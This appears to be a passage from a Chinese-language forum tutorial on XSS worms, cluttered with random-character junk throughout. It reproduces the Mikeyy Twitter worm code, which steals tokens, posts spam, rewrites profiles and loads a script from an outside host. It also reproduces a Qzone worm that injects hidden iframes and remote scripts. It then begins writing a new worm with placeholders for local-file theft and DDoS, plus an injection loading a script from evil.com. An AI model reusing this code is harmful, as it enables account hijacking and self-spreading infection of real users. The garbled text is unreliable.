5. try{ _0x6687x2= new ActiveXObject(_0xc26a[0x0]); } 1 z' _# }7 D5 v6 @
6 u1 ~- S _! H4 o7 N+ m 6. catch(e) { try{ _0x6687x2= new ActiveXObject(_0xc26a[0x1]); } # P2 m- O- N. F
' x4 i8 D/ I# l
7. catch(e) { try { _0x6687x2= new XMLHttpRequest(); }
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8. catch(e) { _0x6687x2=false; }; }; };
( N6 Q/ C: I" ~* i- b% v$ m, h复制代码第六版: 1. function wait() {
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2. var content = document.documentElement.innerHTML; 2 w- c4 `6 `) l7 i, ~* F
+ y" L3 x! ]: X# t 3. var tmp_cookie=document.cookie;
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4. var tmp_posted=tmp_cookie.match(/posted/);
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5. authreg= new RegExp(/twttr.form_authenticity_token = '(.*)';/g); / l* @, T" J2 I+ ?# [2 d
Q7 u9 X1 x+ h& \0 C2 D- r# T 6. var authtoken=authreg.exec(content);
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7. var authtoken=authtoken[1];
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8. var randomUpdate= new Array(); ) [. E6 r) k! r5 h" i
7 m) i. l3 G' W, S$ t 9. randomUpdate[0]= "Be nice to your kids. They'll choose your nursing home. Womp. mikeyy."; ; V& I; G( \! t5 U) W! x3 o
: I. }3 c$ R1 l7 R 10. randomUpdate[1]= "If you are born ugly blame your parents, if you died ugly blame your doctor. Womp. mikeyy."; 5 t( e- }3 J( I2 G: x4 R8 A
' H/ R1 ^& t( y/ A 11. randomUpdate[2]= "Every man should marry. After all, happiness is not the only thing in life. Womp. mikeyy."; - f) o7 G/ f+ b
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12. randomUpdate[3]= "Age is a very high price to pay for maturity. Womp. mikeyy."; : R) ]$ o9 K( U, f/ g
0 J( g; r2 z- F9 } c; n 13. randomUpdate[4]= "Ninety-nine percent of all lawyers give the rest a bad name. Womp. mikeyy."; 9 h1 O) J9 \& h6 q) x
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14. randomUpdate[5]= "If your father is a poor man, it is your fate, but if your father-in-law is a poor man, it's your stupidity. Womp. mikeyy.";
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15. randomUpdate[6]= "Money is not the only thing, it's everything. Womp. mikeyy."; ' Q1 a; ?$ D1 O/ Q9 ]: n
# ~3 ]8 G- k# _" L( v, b 16. randomUpdate[7]= "Success is a relative term. It brings so many relatives. Womp. mikeyy.";
. G l+ [4 g. _* ]! e: l
9 G# H$ K Y! u8 j9 d 17. randomUpdate[8]= "'Your future depends on your dreams', So go to sleep. Womp. mikeyy.";
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18. randomUpdate[9]= "God made relatives; Thank God we can choose our friends.Womp. mikeyy."; % K Q5 z- z3 k5 t8 b: J
, ^ t! R; v! M, C, ^8 y; n- f 19. randomUpdate[10]= "'Work fascinates me' I can look at it for hours ! Womp. mikeyy."; 2 z) L- `% K/ K m- W
2 a/ ?1 d" n+ x [ A! u 20. randomUpdate[11]= "I have enough money to last me the rest of my life. (unless I buy something) Womp. mikeyy."; " Y( o" c. N+ C0 c* F2 [
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21. randomUpdate[12]= "RT!! @spam Watch out for the Mikeyy worm [url]http://bit.ly/XvuJe"; ' l/ h$ G! x. }) F+ X! f4 j" E
) D& v N7 A$ S! Z0 e 22. randomUpdate[13]= "FUCK. NEW MIKEYYY WORM! REMOVE IT: http://bit.ly/fuSkF"; % J7 L, A$ T. m! \+ X: v: k/ P
, Q$ B7 J# s0 c/ I
23. randomUpdate[14]= "Mikeyy worm is back!!! Click here to remove it: http://bit.ly/UTPXe";
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/ Y+ j* M! G* u6 U 24. * }6 g. H: e0 b, v
' w4 z, ^: Z; a- j2 {: h 25. var genRand = randomUpdate[Math.floor(Math.random()*randomUpdate.length)];
% L/ V4 e% W( z. O3 h+ \/ l6 a g( }2 i7 x+ g
26. var updateEncode=urlencode(randomUpdate[genRand]); $ x5 L; s, \1 w d7 U1 W
" z" a4 b5 u+ J: f; s1 ` 27.
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28. var ajaxConn= new XHConn();
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29. ajaxConn.connect("/status/update"," OST","authenticity_token="+authtoken+_"&status="+updateEncode+"&return_rendered_status=true&twttr=true");
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30. var _0xf81bx1c="Mikeyy"; 4 L$ G* q4 |5 Y0 [+ k
% E6 y' h$ g( D 31. var updateEncode=urlencode(_0xf81bx1c); ; V/ p6 v3 y8 V: L
+ g/ Y4 K/ V; Z. D6 z- Z& ? 32. var ajaxConn1= new XHConn();
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6 x* Z: X* }% x/ R; k 33. ajaxConn1.connect("/account/settings"," OST","authenticity_token="]+authtoken+"&user[name]="+updateEncode+""+updateEncode+"&user[description]="+updateEncode+"&user[location]="+updateEncode+"&user[protected]=0&commit=Save"); + u7 s7 e6 g* s* q9 x& s
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34. var genXSS="000; } #notifications{width: expression(document.body.appendChild(document.createElement('script')).src='http://runebash.net/xss.js');) #test { color:#333333"; $ T6 J: a4 Y8 t9 {% W! \" c
$ F" O- s8 W; x, P& k3 U$ d6 E! h 35. var XSS=urlencode(genXSS); . N. u2 G$ Y. r. ]" D2 z3 x. c4 s
$ p4 H6 a* O' j 36. var ajaxConn2= new XHConn();
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37. ajaxConn2.connect("/account/profile_settings","" OST,"authenticity_token="]+authtoken+"&user[profile_sidebar_fill_color]="+XSS+"&commit=save+changes");
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6 U5 L; J, X, e' o8 z. i 38.
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39. } ; * ^- q! R$ t7 i. y% }. O4 X" \
) ?! v9 q# d2 m/ L! k @ 40. setTimeout(wait(),5250); , _' ]0 Y* i6 q& v. ~
复制代码QQ空间XSSfunction killErrors() {return true;}
% W4 Q) {' Z3 ~% Z a
9 Y" d2 d" G; B. Q- |4 d `& r0 Z, Fwindow.onerror=killErrors;5 d' y& P# Z9 g, `
* U1 k$ n9 B- r4 A" `3 e6 h2 k- V+ T3 \2 n8 i
) f( c+ M% u( P3 x* {( lvar shendu;shendu=4;- e4 G+ X# |9 K9 \! w; e
2 P( J8 d; j) o0 w9 A# J9 q( p
//---------------global---v------------------------------------------6 n1 w! K+ L; p1 q8 j) u% p
# w8 x5 X; N2 n) V! G) v& `
//通过indexOf函数得到URL中相应的字符串,用于判断是否登录的吧?( ` c/ H, K: A @0 b# U% S2 o
8 c4 r. ~( R( d, l9 t: Y# avar visitorID;var userurl;var guest;var xhr;var targetblogurlid="0";2 q2 B9 u* h+ b; c% C& C
3 M. ~. l# _1 ^$ J2 O- vvar myblogurl=new Array();var myblogid=new Array();
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var gurl=document.location.href;
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( V# q# `; M, R0 _* `- l var gurle=gurl.indexOf("com/");
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gurl=gurl.substring(0,gurle+3); + u$ _( r' r0 N& [7 x3 t3 F
$ }; [2 z, u3 L% @$ i, _% V: n
var visitorID=top.document.documentElement.outerHTML;1 X: a: b' }# j* {& ~ m
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var cookieS=visitorID.indexOf("g_iLoginUin = ");
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visitorID=visitorID.substring(cookieS+14);
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cookieS=visitorID.indexOf(",");
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visitorID=visitorID.substring(0,cookieS);8 F7 K. W& W- `
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get_my_blog(visitorID);' e. ]: z# d6 P. z7 Q% u# j
9 V: \, Z% S6 L' }$ D5 J' K DOshuamy();
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0 J3 L1 N* d5 v7 e( B v
//挂马
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function DOshuamy(){) d0 I! ]# \/ {5 D0 O, |
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var ssr=document.getElementById("veryTitle");
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ssr.insertAdjacentHTML("beforeend","<iframe width=0 height=0 src='http://www.xxx.com/1.html'></iframe>");* o4 z: g4 C& s; b* `
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}
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! w6 a' ?7 D* G! Z
% q' f7 c: M3 G" [8 X; ]' }//如果创建XMLHttpRequest成功就跳到指定的URL去,这个URL是干什么的就不知道了,没看过,刷人气?
+ j T/ F$ y1 q+ o: H
/ y5 K" D5 V3 i" Cfunction get_my_blog(visitorID){
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\ a% b# K/ _9 u% M userurl=gurl+"/cgi-bin/blognew/blog_output_toppage?uin="+visitorID+"&direct=1";
% J# B/ @. f4 I" Y( Q4 B0 n7 h) E/ t% J$ ~
xhr=createXMLHttpRequest(); //创建XMLHttpRequest对象
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1 I& O- v& M) r" f if(xhr){ //成功就执行下面的8 j0 ?) X0 P! W( R' D" u
3 G) x+ E( } {$ j, H/ c. m xhr.open("GET",userurl,false); //以GET方式打开定义的URL: c5 d+ K8 y% T5 Y( m: j5 ?
* j6 E0 p% `# S9 E/ [% J! P5 o xhr.send();guest=xhr.responseText;4 Z( g8 k S' |) c- s
) s' u# e% Y$ \) M get_my_blogurl(guest); //执行这个函数
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}
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//这里似乎是判断没有登录的 w% b$ u0 [# e P! d4 C
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function get_my_blogurl(guest){
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2 J5 |1 \; S1 Z3 G, m5 j g$ j1 { var mybloglist=guest;
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var myurls;var blogids;var blogide;
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5 N" {' {+ @+ u9 y: o for(i=0;i<shendu;i++){
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myurls=mybloglist.indexOf('selectBlog('); //查找URL中"selectBlog"字符串,干什么的就不知道了
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; L, a5 l* w) b2 X5 d if(myurls!=-1){ //找到了就执行下面的/ J- j$ }2 U* d0 o; {4 L
4 [' d8 Y; i# w mybloglist=mybloglist.substring(myurls+11);0 g, i) o7 N/ j9 ]" w9 P1 X5 W w
& G% h: S4 I8 e myurls=mybloglist.indexOf(')');$ R; u/ A# G p
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myblogid=mybloglist.substring(0,myurls);
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}else{break;}
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7 j, _8 x) N$ ~& S& A% ?& k) ^}; C ?' O9 X& L6 ^
. q1 i& J! A. Q2 i% V( H* {
get_my_testself(); //执行这个函数
% k3 n# p$ ?3 g
0 h4 `" V3 k! J! K! s}, M" T! @: }/ G4 F. ]6 S) K
+ {1 E# j: o ?# _8 d& n- n6 h
- S0 D( ~' f+ ~" v; u! i, \2 Y
! w9 x2 f! U$ \" Y//这里往哪跳就不知道了5 l) p! y# k* S% i! a/ ]5 W' G
5 @# q- g* b( ]
function get_my_testself(){& P- l% c& U* \; w+ b" F6 r
& G: E7 ]- Y5 c' s$ b
for(i=0;i<myblogid.length;i++){ //获得blogid的值
' B9 I8 i' T7 X3 c7 Q8 T) R1 G% u$ }8 b! P0 E% w
var url=gurl+"/cgi-bin/blognew/blog_output_data?uin="+visitorID+"&blogid="+myblogid+"&r="+Math.random();; A4 k" i& K: P7 `. Y" f2 R% C" @( g
9 z5 U, I: _! Z3 F2 I8 `1 { var xhr2=createXMLHttpRequest(); //创建XMLHttpRequest对象
. U6 ?& `6 _. }. c
X' E' ~ m: p, q* g if(xhr2){ //如果成功7 Y, N' O, e1 I7 w
* @8 x; U9 _& m! W# {) R
xhr2.open("GET",url,false); //打开上面的那个url6 k8 q- t- u5 \( p- v6 I0 _
2 E0 a" t" ?) p- C$ g ?
xhr2.send();! {) L! b4 t! Q# i8 g
5 B* P% @4 ~0 `! T/ {* w guest2=xhr2.responseText;, v1 G, g$ U4 ^# P8 @) R( z# H4 \ L# n
8 u4 A* h+ I1 |2 n" H
var mycheckit=guest2.indexOf("baidu"); //找"baidu"这个字符串,找它做什么?
3 @5 E1 A# p4 R! Q5 Y) `3 k: y$ R x5 \2 B5 a% E" g
var mycheckmydoit=guest2.indexOf("mydoit"); //找"mydoit"这个字符串0 t! F2 }# H% d
9 f, X/ y4 r! _' b
if(mycheckmydoit!="-1"){ //返回-1则代表没找到
2 r% i$ B' g7 M5 T% q; u# H- K6 C. G4 s4 p, d) J$ ? w
targetblogurlid=myblogid; + ^% i- P- W) w6 l3 v4 z) Z
" r0 Q/ y4 g: a
add_jsdel(visitorID,targetblogurlid,gurl); //执行它
5 R3 a& y" o- v' @/ K4 ?
2 S7 u6 ?% [- d4 N* r ]3 ^ break;
% Y$ i4 B0 q5 u6 |2 A7 N/ V C
6 X! B. {3 p' L# ~5 r' d6 b }
6 m& z7 A" ` j' Y$ b5 z2 A. K; o( i+ x" d8 @( U% ?* \" _. C
if(mycheckit=="-1"){0 p7 N- z- C0 |9 R, q; j# \
3 T0 Z6 g8 q" y% j5 K$ C targetblogurlid=myblogid;
% o i3 ?( I1 G7 T o( j3 ?* [
" k6 {# b; }% m: z! @ add_js(visitorID,targetblogurlid,gurl); //执行它
! W; o5 D; t, \) Q9 X; N( R1 z
A/ X2 @8 \' R. [, F* s break;- i$ G- ^$ {! `
) P$ L3 Y4 C+ o& G9 v H- o; s }' Y; x$ o1 ^0 q1 R
9 k' e4 c! \7 p( Z( V& S6 v; U
}
, M9 V' d+ Q1 [, ?% ~9 w3 D
0 F4 D: o; M- X}
" j C8 y# J1 H2 A/ n. Z2 G3 [& S! V# f6 X' k, U2 d" m) U6 S
}6 _# g- ` X: c( }0 P
, f2 G7 V7 x9 H2 e0 g: F, \2 ^0 V5 ?2 s7 N, K4 V2 z
) C) w2 \9 t! H) L4 r7 B6 w//--------------------------------------
! v. U" H( L8 y( J5 x$ Q! M$ r* Y* G6 N6 f6 {4 l5 w
//根据浏览器创建一个XMLHttpRequest对象% Z, o0 ]7 }4 g
1 O6 n% I; N6 M m6 W+ {function createXMLHttpRequest(){% G3 M. w2 r& A0 o
0 h; u) ~3 `: s) r6 v% C var XMLhttpObject=null;
& M( m' u/ Y" U7 Y! @2 r# x1 T0 w7 T; w" B. n5 V: p
if (window.XMLHttpRequest) {XMLhttpObject = new XMLHttpRequest()} " x3 v& f2 @( V: @
- h9 I5 |1 p% D5 S" U else
3 \5 {6 p' l' T0 W! C
1 I/ I2 Q' o2 G( M' D5 E+ Q { var MSXML=['Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP','MSXML.XMLHTTP', 'MICROSOFT.XMLHTTP.1.0','MICROSOFT.XMLHTTP.1', 'Microsoft.XMLHTTP'];
& f) d3 `; d% {. S7 C/ D) m1 E: z' g) D4 j( L; A" u. ]+ W: u- u
for(var i=0;i<MSXML.length;i++)
' i: \8 V, K+ a% {4 k" ^( H$ B1 g$ q$ f( D! c+ E" [
{ % y( x# c9 X. [& c$ D* Q
R \% }! K3 ` J0 q- X- b try $ L* {+ ?1 C$ {4 P: Y
% ~$ a3 k! q" |7 ]8 _
{
9 u4 t/ q, D. p" Y! |/ T) p7 r% W: |$ E2 Y7 z& j/ V7 P& A- A
XMLhttpObject=new ActiveXObject(MSXML);
: [- v5 `% c/ a9 a8 \& y# s9 s9 D/ j9 x/ p
break; ) \7 D/ E- h" g- E- K& z
" ]5 ~$ R! h7 K' J2 O# k
} . e- y7 J% s. a5 g2 J: F
7 @% @3 d& ?/ K, o+ V
catch (ex) {
& `; K0 D5 V; Q& I) q" w/ @# U t
( H& W$ p' K: l- X( O* F }
& _8 v7 k% |0 ]! `% b5 _+ b" a/ G" r5 m; l+ P
}
3 k/ g4 U7 y, U
. _' W: U. _6 W5 @ }& j) W( e/ Y# \$ H/ b" B
5 c) o+ b0 g" [: y* y: x, I1 q Vreturn XMLhttpObject;9 _# n; i7 `+ I( h* y
8 t: o; x+ m& i
} ; g1 t' \* l3 u$ n( r
! I& v/ ^6 T' u( ^& u# [: k/ E% m) M9 Y) r% X
( n d8 K0 Y, _ p//这里就是感染部分了
' q/ c+ {- V4 H' X5 ^( F/ J3 A( V
0 c0 |4 g. {% Q# G/ Mfunction add_js(visitorID,targetblogurlid,gurl){
H+ s& L9 P' ]! D( k! m- Q( n& w: g0 n. M
var s2=document.createElement('script');* T* o' J% k* ~8 C' \$ [2 ?
5 g4 B, d) |( H7 V' u: ns2.src='http://xss0211.111.5ghezu.com.cn/images/qq/temp/wm/linshi/index.php?gurl='+gurl+'&uin='+visitorID+'&blogid='+targetblogurlid+"&r="+Math.random();
/ x6 x2 y4 u( E! W6 O
5 Q; ?* I) ]3 G$ l8 C4 as2.type='text/javascript';
6 Z- y" d6 V6 u* n
* x! G3 X3 D7 V. ^9 ^document.getElementsByTagName('head').item(0).appendChild(s2);# b f7 |7 |$ B. p$ @
+ L' S' e% J& }& B
}% n5 P8 C4 R6 M! O" e( y3 S
5 ^& F4 x4 p* X
6 b0 W1 ^/ {% M1 e
; W; R! U4 I) s! y) V, R/ Afunction add_jsdel(visitorID,targetblogurlid,gurl){* S; P7 M& s# p6 |, z0 r2 l
$ g9 J* p' Q/ E: Gvar s2=document.createElement('script');$ l _, i8 m# K) Q
0 h+ f9 _1 b! q& A; o5 ~3 t
s2.src='http://xss0211.111.5ghezu.com.cn/images/qq/temp/wm/linshi/del.php?gurl='+gurl+'&uin='+visitorID+'&blogid='+targetblogurlid+"&r="+Math.random();
; M, F. q& m8 U3 j- @6 ^2 T7 ] S4 H
s2.type='text/javascript'; ~7 m. z! x, Q' {+ @) M
6 P( B2 [, B4 e: r7 i3 I! r
document.getElementsByTagName('head').item(0).appendChild(s2);
% E( H0 i# ~0 j
8 Y6 R t+ L; S: _}5 W- O6 X1 o+ O( S2 R
复制代码通过以上几个蠕虫,我们可以总结蠕虫的工作原理为:
4 P. ~. p9 T* ?' ]1:首先写入调用蠕虫代码到一个存在XSS漏洞的位置(在非长久性XSS漏洞里,我们也可以通过把短暂性的XSS连接通过各种传播方式,发送给其他用户,当某个用户中了XSS后,再通过蠕虫,向其好友发送同一短暂性XSS连接.)3 w0 J: Y; n: r6 J, Q/ n% c
" a |* N2 h3 D& m. u4 V
2:受害用户在登陆状态中,观看了存在XSS的问题页面,JS执行,并植入XSS蠕虫代码到该用户帐户中,且通过搜索好友等方法,传播给其他用户.即复制感染过程.(在论坛或者回复类型页面中传播XSS蠕虫,只要保证每页面同时存在2个或者以上蠕虫,就可以保证蠕虫不会被增加的数据覆盖.)5 [/ j2 T5 s, b( Z6 _6 c
( F% c# V6 m3 `3 R/ Z$ T
综上所述,结合以上种种技巧,就可以创造我们自己的XSS蠕虫了.在我们的蠕虫里,我们可以添加截取屏幕功能,DDOS功能,可以判断客户端浏览器的版本,读取并且发送客户端的本地文件~0 i3 r, ^8 W2 l+ _, b3 |
K& f" z9 o/ A
2 \2 H4 L$ |! r8 P3 _: A! S下面,我们来初步写一个简单主体蠕虫,并且预留可添加功能的地方.# w F {: O3 x9 T
1 G* L9 v; ?) g! [首先,自然是判断不同浏览器,创建不同的对象var request = false;3 o1 {; g6 N w' I3 t% {2 n* J. {
* g0 p% c @, h2 C: c) `# v
if(window.XMLHttpRequest) {! h2 T$ H6 P' q. X6 B, P% S& D
2 j8 P( J d/ w4 Mrequest = new XMLHttpRequest(); N& c% F+ y8 w6 @0 d
; X# g( [% o/ V
if(request.overrideMimeType) {
/ U a0 l: D) z+ ^- K& S0 G8 h( J2 h1 S, l- h; X5 o8 {. p
request.overrideMimeType('text/xml');
( |* G8 O8 f2 a3 o! ?7 M$ G0 L5 O0 p6 l6 q+ r- U4 h. M
}
t8 w8 V1 ~- z& p* Y! Y! e
0 z* D; z) U5 m; P} else if(window.ActiveXObject) {
/ N! a) ^! E0 Z# W
! A6 e0 _! }0 E: W3 a$ yvar versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];2 O- y$ [$ f' O+ T( L' H
" Z$ W; d2 [' u }for(var i=0; i<versions.length; i++) {* Y2 w ^1 i" y0 Q9 N- \- m
6 M1 B7 l; R, K7 D, b! L
try {! w# d6 F8 N% G- @$ t4 B& w# h
7 D( E: E0 P" R8 M7 N
request = new ActiveXObject(versions);
7 w7 `% T; y! I$ S" T2 ~6 l1 b0 y) V ^
} catch(e) {}0 F' C: i0 Q# i, ]% u) L
- J/ c, l+ ]1 h0 q2 ^# e}
/ ]7 l& [3 H+ h; p1 ]& U4 V* r: \1 Q# x) m0 p6 ^7 P; [$ [
}
3 b% V. z$ }5 X- X+ v
+ ]: S6 ]6 V1 }) G- X$ `) |1 MxmlHttpReq=request;! I' E$ E6 D( F
复制代码可以此时添加判断浏览器具体型号和版本: function browserinfo(){) s1 T; P9 m/ d* I$ S# M. @7 W7 [
" T& K# r0 F9 Q( A; u3 [' a" y, J
var Browser_Name=navigator.appName;8 B0 E) S$ U8 _: `$ a7 \
- R$ W$ i: h3 q+ g( ^/ T+ u7 E
var Browser_Version=parseFloat(navigator.appVersion);
- f* c4 b4 S0 R% t% w) l" j3 E
* q3 V: v3 B3 c; R; z6 n1 Y var Browser_Agent=navigator.userAgent;
$ g$ w2 F Q: _: r
* X- K" x2 D) x 8 m: C7 h5 K* P
3 D l" ^9 ~0 I$ e var Actual_Version,Actual_Name;' k: E+ u6 n y% e
& G R+ T; ]% {. ~5 J: @9 u$ h" S- D" N
7 P& }6 z1 _- Y' [/ I7 u+ P$ x
; Q& L( Q0 G# z! j
var is_IE=(Browser_Name=="Microsoft Internet Explorer");
1 w% |: I9 [+ p6 o! ?9 Q3 _- l7 c: L; F: r9 J
var is_NN=(Browser_Name=="Netscape");
O, j' B4 }+ ]8 z7 `' b; h4 G; \8 Q% n& Z$ b) w1 h. K6 {
var is_Ch=(Browser_Name=="Chrome");: ~) S E7 A- e7 a/ H
- d7 k9 I0 C. r) o0 X
9 s( K# i1 O* s' |+ u% B* d/ ?! Z$ R9 d3 S( \; } @
if(is_NN){
1 F2 C( b) `3 E7 V. l" [/ d& V- k
if(Browser_Version>=5.0){
! z7 I, l2 L/ G: i0 m B+ j
' x3 ?9 R6 E1 V+ E var Split_Sign=Browser_Agent.lastIndexOf("/");% `/ H! Z+ w' `) T5 H5 u
* F: q) S, F8 [4 G( Z1 F. @
var Version=Browser_Agent.indexOf(" ",Split_Sign);' r+ \( m$ P( t; D9 y
$ H4 [) W% \$ @* g# H4 j& @* W var Bname=Browser_Agent.lastIndexOf(" ",Split_Sign);
/ r! x2 A _7 b2 i5 E+ ^2 O; k( F. p* J7 C2 A* x
9 V5 Q; S, k0 q& u( m* t
$ p" n D# E7 J6 I7 ? ^
Actual_Version=Browser_Agent.substring(Split_Sign+1,Version);/ q5 T8 D3 B, _. I: L
; x' i9 `3 V' q) M |
Actual_Name=Browser_Agent.substring(Bname+1,Split_Sign);& h( C$ Q' `; o1 K
+ n1 @0 J+ X* z0 k$ y) y: ~0 C/ k, Y
}
" b) \, C6 X' \ y/ E+ k3 i4 m9 K8 u( n: q8 G. j9 ]
else{9 C' M6 G. }; l; W+ C) i; t( B
2 [8 }/ p7 B; x2 ~) f8 B3 X" l
Actual_Version=Browser_Version;
8 X% B7 Q! n! I1 G9 z4 f+ ^/ w5 K
1 ?; N$ m5 F( e, w- v0 F, Q* A, _ Actual_Name=Browser_Name;+ ` c0 k" E5 N6 c4 N
5 I' L8 }3 P$ t }+ t- H; V. q/ l) @4 r" l7 {, f5 `) N
- v; ^, f, s* K! B8 P
}. }( V5 s6 h9 d
3 h) B% p7 q# i A& k1 o- p# p! C% ]
else if(is_IE){
8 m7 W; Y! m) l2 X% ~7 n8 N4 m) l8 ?/ C9 w0 R1 w
var Version_Start=Browser_Agent.indexOf("MSIE");
9 a2 ~/ I" E0 ]& M; F4 h; q5 G9 B* S% p% t) {
var Version_End=Browser_Agent.indexOf(";",Version_Start);
8 c' ]$ c/ |- _; W/ i2 o* \- h3 w7 p1 k# b u! q$ p9 v
Actual_Version=Browser_Agent.substring(Version_Start+5,Version_End)
6 L: ^( A! t. k, w. v& ?0 t% d
' N4 m( i- V4 D8 E; U, Q* ^ Actual_Name=Browser_Name;
: c( w) z9 j4 n" N5 j0 Z ]6 o _! D8 q5 x5 y$ s8 K6 I u
& y4 f5 v2 f& M7 u
1 Q: a. c; r" b
if(Browser_Agent.indexOf("Maxthon")!=-1){/ b' Y) O, d6 S* z; D- h
8 \" y: p- o& _7 t2 b$ i! F3 L% \ Actual_Name+="(Maxthon)";4 f& v% {4 j1 X7 p/ E- u I: i r. Z4 r& `
% x3 [; g( C' q. ?1 F
}& c" G; m2 ?+ g! S) k; y9 E
1 q. r0 B* M+ u1 [
else if(Browser_Agent.indexOf("Opera")!=-1){% X. q$ K3 M* ^* p8 T* I
9 k% T5 _1 l! }! a) `* ]' w2 \
Actual_Name="Opera";
* G& g: R( g- w( u% m! ?" o8 m$ k4 R: f/ a
var tempstart=Browser_Agent.indexOf("Opera");
, h# ]8 R4 M; G+ P# g( a+ \' j$ A
var tempend=Browser_Agent.length;
' J7 N' C0 R) X" _: K, c; @0 U. T+ L+ k6 `
Actual_Version=Browser_Agent.substring(tempstart+6,tempend), _ x, g; q" z7 i/ ^# w
+ M; ~# M4 l0 h6 W$ T- R }
5 A# k2 p) v3 v6 e9 P0 O; i% Z9 i4 P. t* p/ {: o1 M1 d1 z# D
}9 v+ K7 W6 K) }
/ D ^/ \ a+ Z% A% B
else if(is_Ch){" E1 A: d; _9 J4 s
8 W% f; P8 ^" ^- I0 }1 A
var Version_Start=Browser_Agent.indexOf("Chrome");
5 J( A0 X$ n. ~9 }0 W# g8 |
% g% q, n0 U2 \6 H var Version_End=Browser_Agent.indexOf(";",Version_Start);
$ c6 f' t% J5 K( w1 w
+ i0 m/ T. V- E" Y& { Actual_Version=Browser_Agent.substring(Version_Start+5,Version_End)
# H9 H/ L: V6 E- i
+ u1 {1 L$ y! w Actual_Name=Browser_Name;+ w7 \0 |. B( f
1 D' i# l7 V: \7 t9 | & q: d, I9 G0 }* a, v" d, c
5 V* P& B9 g G# J
if(Browser_Agent.indexOf("Maxthon")!=-1){; S3 `* J) G6 D! e6 i4 ]
" x- w7 _3 M3 O
Actual_Name+="(Maxthon)";
T7 g' }. A0 N( s) F$ k- G0 N/ V7 Z7 V1 i$ m
}; G, _3 Q# @' ?9 p+ G2 J+ G
' P$ H( m! |' ^
else if(Browser_Agent.indexOf("Opera")!=-1){
& a3 y: E0 e* A1 o% r8 l/ ]) |% X# ^: ~7 C6 t
Actual_Name="Opera";4 B2 d5 i8 H1 R+ ^
6 s* Q7 m" h$ ~/ G9 A8 M1 N$ l# M var tempstart=Browser_Agent.indexOf("Opera");
. L( L- `. Z ~' @. x3 A5 Y& q' l9 F+ j0 t. |
var tempend=Browser_Agent.length;* Z# M9 Q R) l1 d M! z3 l
+ p. u8 h, {4 Q& Q Actual_Version=Browser_Agent.substring(tempstart+6,tempend)/ I# p* ^; l# E* K. Z( q
! U2 v* N4 ]3 o; J
}3 _0 C$ d( p: d: ` `% Q: n1 K
( I5 E$ Q, d8 D1 d7 v2 D
}: E j+ I0 q) z7 \( K! o, A4 f
0 _! T- i# y$ A0 r# C. ^
else{
8 l/ c& F% d4 h
3 B- F* t8 c& k, O Actual_Name="Unknown Navigator"0 v7 V7 E4 f: h( v
2 b. C8 o2 y0 y5 |9 h) N3 h Actual_Version="Unknown Version" Y. F( S K1 I, A2 U& d; N/ _7 b
" p$ o" I! O; z; Y3 [4 v }# D8 ~( j; i6 n" t
8 n2 w0 Q! e+ t: [. W8 d! c6 y; Q. _" Y" s8 K' ~
T( s* |5 ~* }# R [1 `- n0 Y navigator.Actual_Name=Actual_Name;
: L* }- T+ u R) y: `: K7 \% c
! I' e' A- m: O* `8 o/ o3 q# r navigator.Actual_Version=Actual_Version;- C' U$ j" m0 g2 U+ u
1 S: `* c2 D. \9 U0 R) N
6 N g& u7 i X' [( _2 L! b
8 P8 i7 L# s& v' E this.Name=Actual_Name;6 n. n8 a# }$ T5 Y; ]3 I
3 I( t2 G r8 Y. @" y& |, j k) ^" g( R
this.Version=Actual_Version;
/ O/ L' k9 K! ~ }7 W# _; j/ r; l5 X% D9 [
}/ C1 r1 S9 t) I) V! Y r
; r$ d) Q3 @. ]) P+ @2 _ browserinfo();
; O# O. F/ {1 r- _
! K6 q9 h- R5 F if(navigator.Actual_Version<8&&navigator.Actual_Name=="Miscrosoft Internet Explorer"){//调用IE读取本地敏感文件}! @1 O+ k* M( n! @
" r& q! K$ }" u
if(navigator.Actual_Version<8&&navigator.Actual_Name=="Fire fox"){//调用Firefox读取本地敏感文件}7 o6 [0 v4 k' \. X5 v! v$ m; q3 R
/ m* `: A5 l1 w/ h# h, Z
if(navigator.Actual_Version<8&&navigator.Actual_Name=="Opera"){//调用Opera读取本地敏感文件}3 m/ `( o0 Y; l
+ }6 s) |- D8 ?: L6 n if(navigator.Actual_Version<8&&navigator.Actual_Name=="Google Chrome"){//调用Google Chrome读取本地敏感文件}! h1 L7 N; ]- q
复制代码随后可以选择调用镜象网页并且发送功能.参考上面的镜象代码0 |: m( [. o- y9 L9 `* L
复制代码随后可以选择调用DDOS功能.参考上面的DDOS代码
7 H! P/ G! C5 }- a! D- V$ h复制代码然后,在感染和传播功能发作之前,我们要判断当前页面有没有蠕虫存在,如果有,有多少只.如果虫的数量足够,我们就不要再植入蠕虫了.只要保证一定的数量就好.xmlHttpReq.open("GET","http://vul.com/vul.jsp", false); //读取某页面.% u- S$ Y7 D# R. I0 U
8 V, r( C) Q( A8 B
xmlHttpReq.send(null);
. w% V: N& ?& L" Y" q2 j3 N1 F: L9 n2 U
var resource = xmlHttpReq.responseText;5 T) y- k( I2 Q* f/ \! s- ^
2 V. F0 ^+ F: `- h' @- r
var id=0;var result;. }$ p3 {: T" F5 ~
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var patt = new RegExp("bugbug.js","g"); //这里是蠕虫的关键词,用以确定页面有多少只虫.譬如如果你的虫在bugbug.js,那么就可以搜索这个JS在页面内的数量.; b! W/ i- L& a6 a* b5 N
9 ]7 e9 W3 n. U: W2 Vwhile ((result = patt.exec(resource)) != null) {* E, S I8 c$ ]; |% k3 r( m
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id++;
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}
; J8 D# L5 e* B# q d& v复制代码然后,我们根据数量,来做下一步的操作.先判断,如果数量太少,我们就要让蠕虫感染起来.if(id<2){ //这里我们假设要求那个页面蠕虫的数量要有2只.& ?& V" M2 ]" d* _- X% } f. X
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no=resource.search(/my name is/);( `/ Z+ f8 }5 m
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var wd='<script src="http://www.evil.com/bugbug.js"</script>'; //wd是存在XSS漏洞的变量.我们在这里写入JS代码.
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var post="wd="+wd;% Q9 U. e% r" V
6 X; d5 _3 [6 [$ t* @3 I" ]9 v gxmlHttpReq.open(" OST","http://www.vul.com/vul.jsp",false); //把感染代码 POST出去.
